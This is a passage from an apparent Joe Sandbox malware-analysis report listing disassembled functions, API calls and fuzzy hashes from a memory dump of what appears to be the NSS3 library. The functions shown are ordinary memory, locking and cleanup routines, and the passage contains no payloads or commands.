Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: 8844f587af62ccb73c1f4611c8bb52a2ecc7d9e549f8431d4c48cf385d8e2990
Instruction ID: ff09a73052310f5f030b661e810f83b8b1b192ef2c608a3b7bd56db51bd3ba50
Opcode Fuzzy Hash: 8844f587af62ccb73c1f4611c8bb52a2ecc7d9e549f8431d4c48cf385d8e2990
Instruction Fuzzy Hash: 92214CB4A046458FDB00AF79C48456ABBF4FF05348F11C66ADD94D6645FB30D494CBD2

Function 6CC128A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CC080DD), ref: 6CC128BA
EnterCriticalSection.KERNEL32(?,?,?,?,6CC080DD), ref: 6CC128D3
PR_Unlock.NSS3(?,?,?,?,?,6CC080DD), ref: 6CC128E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6CC080DD), ref: 6CC1290E
free.MOZGLUE(?,?,?,?,?,?,6CC080DD), ref: 6CC1291A

Part of subcall function 6CC09270: DeleteCriticalSection.KERNEL32(?,?,6CC15089,?,6CC13B70,?,?,?,?,?,6CC15089,6CC0F39B,00000000), ref: 6CC0927F
Part of subcall function 6CC09270: free.MOZGLUE(?,?,6CC13B70,?,?,?,?,?,6CC15089,6CC0F39B,00000000), ref: 6CC09286
Part of subcall function 6CC09270: PL_HashTableDestroy.NSS3(?,6CC13B70,?,?,?,?,?,6CC15089,6CC0F39B,00000000), ref: 6CC09292

Part of subcall function 6CC08B50: TlsGetValue.KERNEL32(00000000,?,6CC10948,00000000), ref: 6CC08B6B
Part of subcall function 6CC08B50: EnterCriticalSection.KERNEL32(?,?,?,6CC10948,00000000), ref: 6CC08B80
Part of subcall function 6CC08B50: PL_FinishArenaPool.NSS3(?,?,?,?,6CC10948,00000000), ref: 6CC08B8F
Part of subcall function 6CC08B50: PR_Unlock.NSS3(?,?,?,?,6CC10948,00000000), ref: 6CC08BA1
Part of subcall function 6CC08B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6CC10948,00000000), ref: 6CC08BAC
Part of subcall function 6CC08B50: free.MOZGLUE(?,?,?,?,?,6CC10948,00000000), ref: 6CC08BB8

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 125ea316f8330df084b1a79b7223dda7be1ba5f46226b1afdc5f1148f9dc5da2
Instruction ID: cbe6a1ddd9e55a2d12b45bc033f8170a71c2ee3a4cbd343429bf8a3dccb3cb95
Opcode Fuzzy Hash: 125ea316f8330df084b1a79b7223dda7be1ba5f46226b1afdc5f1148f9dc5da2
Instruction Fuzzy Hash: 232109B5A08A05DBDB00BF79C088569BBF4FF05358F018969DDD497B00EB34E899CB92

Function 6CBE09E0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,6CBE06A2,00000000,?), ref: 6CBE09F8
malloc.MOZGLUE(0000001F), ref: 6CBE0A18
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CBE0A33

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

PR_Free.NSS3(?), ref: 6CBE0A6C
PR_Free.NSS3(?), ref: 6CBE0A87

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$Freecalloc$mallocmemcpy
String ID:
API String ID: 207547555-0
Opcode ID: f635063d2cebe1d118ab2f108ebe4fff7fb17272351cc3a40006a83d2bd2e653
Instruction ID: 4bd8f91c2ffdf0747752c0034ecb7d928fe965fcd113de6ecb3d0e0a655351cc
Opcode Fuzzy Hash: f635063d2cebe1d118ab2f108ebe4fff7fb17272351cc3a40006a83d2bd2e653
Instruction Fuzzy Hash: 4C1124B19007C58BF7109F69E98475673B8FF49B88F40692AD94642E00EF30F458D792

Function 6CC08FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CC10710), ref: 6CC08FF1
PR_CallOnce.NSS3(6CD52158,6CC09150,00000000,?,?,?,6CC09138,?,6CC10710), ref: 6CC09029
calloc.MOZGLUE(00000001,00000000,?,?,6CC10710), ref: 6CC0904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CC10710), ref: 6CC09066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CC10710), ref: 6CC09078

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 5714bf55f6b359a775af2d7707dc8c7860eba12d8f73bb7d2784676057028498
Instruction ID: cecad6788bcb1a880123afa1c5925583acd7e7f2ef8cf9d6a3292e862fc3cafe
Opcode Fuzzy Hash: 5714bf55f6b359a775af2d7707dc8c7860eba12d8f73bb7d2784676057028498
Instruction Fuzzy Hash: A111253170011157E7201BA99C44B6A32ACEB867ACF400421FD94C2B81F753CD4A83B1

Function 6CC84AF0 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

PR_MemUnmap.NSS3(00015180,00000005,?,6CC84AD1), ref: 6CC84B62
free.MOZGLUE(?,00015180,00000005,?,6CC84AD1), ref: 6CC84B76

Part of subcall function 6CC803C0: CloseHandle.KERNEL32(?,?,?,?,6CC84B27,?,?,00015180,00000005,?,6CC84AD1), ref: 6CC803E0
Part of subcall function 6CC803C0: GetLastError.KERNEL32(?,6CC84B27,?,?,00015180,00000005,?,6CC84AD1), ref: 6CC803FD

Part of subcall function 6CC803C0: DeleteCriticalSection.KERNEL32(00000005,?,?,?,6CC84B27,?,?,00015180,00000005,?,6CC84AD1), ref: 6CC80419
Part of subcall function 6CC803C0: free.MOZGLUE(?,?,6CC84B27,?,?,00015180,00000005,?,6CC84AD1), ref: 6CC80420

CloseHandle.KERNEL32(?,00015180,00000005,?,6CC84AD1), ref: 6CC84B96
free.MOZGLUE(?,?,6CC84AD1), ref: 6CC84B9D
memset.VCRUNTIME140(6CD52F9C,00000000,00000090,00015180,00000005,?,6CC84AD1), ref: 6CC84BB2

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$CloseHandle$CriticalDeleteErrorLastSectionUnmapmemset
String ID:
API String ID: 447902086-0
Opcode ID: b8d1c6c8d147f733aa66692354a6cde06a1ff8e2b0c5b4e39bdb2452b41bcafe
Instruction ID: dd99617d40f21dc8c0e5430935acb0bada652480b57964507070f24b9c006d4b
Opcode Fuzzy Hash: b8d1c6c8d147f733aa66692354a6cde06a1ff8e2b0c5b4e39bdb2452b41bcafe
Instruction Fuzzy Hash: A911D372B03A009BEE21DF59DC55B577B7CB742B5CF440024F70953A50E3229418C7E2

Function 6CC1CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CC31E10: TlsGetValue.KERNEL32 ref: 6CC31E36
Part of subcall function 6CC31E10: EnterCriticalSection.KERNEL32(?,?,?,6CC0B1EE,2404110F,?,?), ref: 6CC31E4B
Part of subcall function 6CC31E10: PR_Unlock.NSS3 ref: 6CC31E76

free.MOZGLUE(?,6CC1D079,00000000,00000001), ref: 6CC1CDA5
PK11_FreeSymKey.NSS3(?,6CC1D079,00000000,00000001), ref: 6CC1CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CC1D079,00000000,00000001), ref: 6CC1CDCF
DeleteCriticalSection.KERNEL32(?,6CC1D079,00000000,00000001), ref: 6CC1CDE2
free.MOZGLUE(?), ref: 6CC1CDE9

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 4b8c828f9b42f136ab4cdfea1d97f1f0c73469bd05dc08a3457a2b362ebe1437
Instruction ID: 96b8c13a8a21d88dae2c8b9c0d85e8cd80475779bb08d90f8ac976ab77f6326a
Opcode Fuzzy Hash: 4b8c828f9b42f136ab4cdfea1d97f1f0c73469bd05dc08a3457a2b362ebe1437
Instruction Fuzzy Hash: C411A0B2B05111ABEB00BEA6EC85996B72CBF442697104571FA0987E01F732E438D7E1

Function 6CC82CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CC85B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC85B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC82CEC

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_EnterMonitor.NSS3(?), ref: 6CC82D02
PR_EnterMonitor.NSS3(?), ref: 6CC82D1F
PR_ExitMonitor.NSS3(?), ref: 6CC82D42
PR_ExitMonitor.NSS3(?), ref: 6CC82D5B

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 4f3e3358f192e9d140417810773b2e67c868d1badd04a9acb67e58e29ff9967b
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: B501A5B29012005BE6309F29FC44A87BBB1EB5531CF004566E85996B10F632F815C692

Function 6CC82D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CC85B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC85B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC82D9C

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_EnterMonitor.NSS3(?), ref: 6CC82DB2
PR_EnterMonitor.NSS3(?), ref: 6CC82DCF
PR_ExitMonitor.NSS3(?), ref: 6CC82DF2
PR_ExitMonitor.NSS3(?), ref: 6CC82E0B

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: f15c56d6d817b2946f4edee812adc760fbd6974c6c9993f92e36016c7ffc5be6
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: D601A1B1A016006BEA309E29FC09BC7BBB1EB5531DF000435E85A96B10F632E825C6A2

Function 6CC1AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CC03090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC1AE42), ref: 6CC030AA
Part of subcall function 6CC03090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC030C7
Part of subcall function 6CC03090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CC030E5
Part of subcall function 6CC03090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC03116
Part of subcall function 6CC03090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC0312B
Part of subcall function 6CC03090: PK11_DestroyObject.NSS3(?,?), ref: 6CC03154
Part of subcall function 6CC03090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC0317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CBF99FF,?,?,?,?,?,?,?,?,?,6CBF2D6B,?), ref: 6CC1AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CBF99FF,?,?,?,?,?,?,?,?,?,6CBF2D6B,?), ref: 6CC1AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CBF2D6B,?,?,00000000), ref: 6CC1AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CBF2D6B,?,?,00000000), ref: 6CC1AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CBF2D6B,?,?), ref: 6CC1AEA3

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: a18a214b9c6f85e2888254765f0735b7da1c54473a12f8c3469914a3b1753ff9
Instruction ID: 9f8fbe33d8d5ebd01264e86910c8d037aeb12b47cb15dcafc5088369aff28ec3
Opcode Fuzzy Hash: a18a214b9c6f85e2888254765f0735b7da1c54473a12f8c3469914a3b1753ff9
Instruction Fuzzy Hash: BE01AFA7B081105BE701926FAC95BAB31588FC765CF084072E90AD7F41F616DD2E92E3

Function 6CC949C0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(000A2CD6,00000000,00000000,00000678,?,?,6CC85F34,00000A20), ref: 6CC949EC

Part of subcall function 6CC4FAB0: free.MOZGLUE(?,-00000001,?,?,6CBEF673,00000000,00000000), ref: 6CC4FAC7

SECITEM_ZfreeItem_Util.NSS3(000A2CEA,00000000,6CC85F34,00000A20,?,?,?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC949F9
SECITEM_ZfreeItem_Util.NSS3(000A2CBE,00000000,?,?,6CC85F34,00000A20,?,?,?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC94A06
free.MOZGLUE(?,?,?,?,?,6CC85F34,00000A20), ref: 6CC94A16
free.MOZGLUE(000A2CB6,?,?,?,?,6CC85F34,00000A20), ref: 6CC94A1C

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Item_UtilZfreefree
String ID:
API String ID: 2193358613-0
Opcode ID: 9f143f5cf6b0462068c5a6f6713d65b5189d9bb132e6d53fa1de07e7155047c4
Instruction ID: b142682c689b204fdfa71bc138323cf4f79ae515ca91cb0e3e0509dc94e33c25
Opcode Fuzzy Hash: 9f143f5cf6b0462068c5a6f6713d65b5189d9bb132e6d53fa1de07e7155047c4
Instruction Fuzzy Hash: 56011AB6A001049FDB00DF69DCC5C967BBCEF8A25974584A5EA09DB702F731E948CBA1

Function 6CD00930 Relevance: 7.5, APIs: 5, Instructions: 45fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,6CD00C83), ref: 6CD0094F
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6CD00C83), ref: 6CD00974
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00983
_PR_MD_UNLOCK.NSS3(?,?,6CD00C83), ref: 6CD0099F
OutputDebugStringA.KERNEL32(?,?,6CD00C83), ref: 6CD009B2

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalDebugEnterOutputSectionStringfflushfwrite
String ID:
API String ID: 1872382454-0
Opcode ID: 23e8800bfedd3f808684a75de59ceb00f6e91b00622c18ba2d7a444e830e6dca
Instruction ID: f071f76441c5a2f1c911817482678786472b82a7bcc1f22da496b127d4f54d37
Opcode Fuzzy Hash: 23e8800bfedd3f808684a75de59ceb00f6e91b00622c18ba2d7a444e830e6dca
Instruction Fuzzy Hash: 210153B4302240AFFF00AF2CD899B553BBCAB83298F9C4219EA45836A2D775E440CA11

Function 6CD02A40 Relevance: 7.5, APIs: 5, Instructions: 41stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CD02A5B
free.MOZGLUE(?), ref: 6CD02A6D
strdup.MOZGLUE(?), ref: 6CD02A7B
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CD02A96
PR_ExitMonitor.NSS3 ref: 6CD02AB5

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Monitor$EnterErrorExitfreestrdup
String ID:
API String ID: 1948362043-0
Opcode ID: 714eb3cd41913b730fdacb144e4e92eeb967cf0e20ff8283807b11a29e8ef844
Instruction ID: de15318789dda697a612e30f2fff38f4cccdffc4217519c66f3aebfec8b6b118
Opcode Fuzzy Hash: 714eb3cd41913b730fdacb144e4e92eeb967cf0e20ff8283807b11a29e8ef844
Instruction Fuzzy Hash: BCF0A9B1F0112097EE20AFA8EC4A786763C5B0168CF454130DE0596A50FB31D918C6D2

Function 6CD07C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CD07C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD07C83
malloc.MOZGLUE(00000001), ref: 6CD07C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CD07C9F
PR_GetCurrentThread.NSS3 ref: 6CD07CAD

Part of subcall function 6CCB9BF0: TlsGetValue.KERNEL32(?,?,?,6CD00A75), ref: 6CCB9C07

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: aa621ded8fa59281280f9aa922711ab4606d97e7beba8c56d021ffb42ae4bdf2
Instruction ID: 32ad671220659c1bc94450525d79f811a93baae8d8e9bc638e411d4358c5ff97
Opcode Fuzzy Hash: aa621ded8fa59281280f9aa922711ab4606d97e7beba8c56d021ffb42ae4bdf2
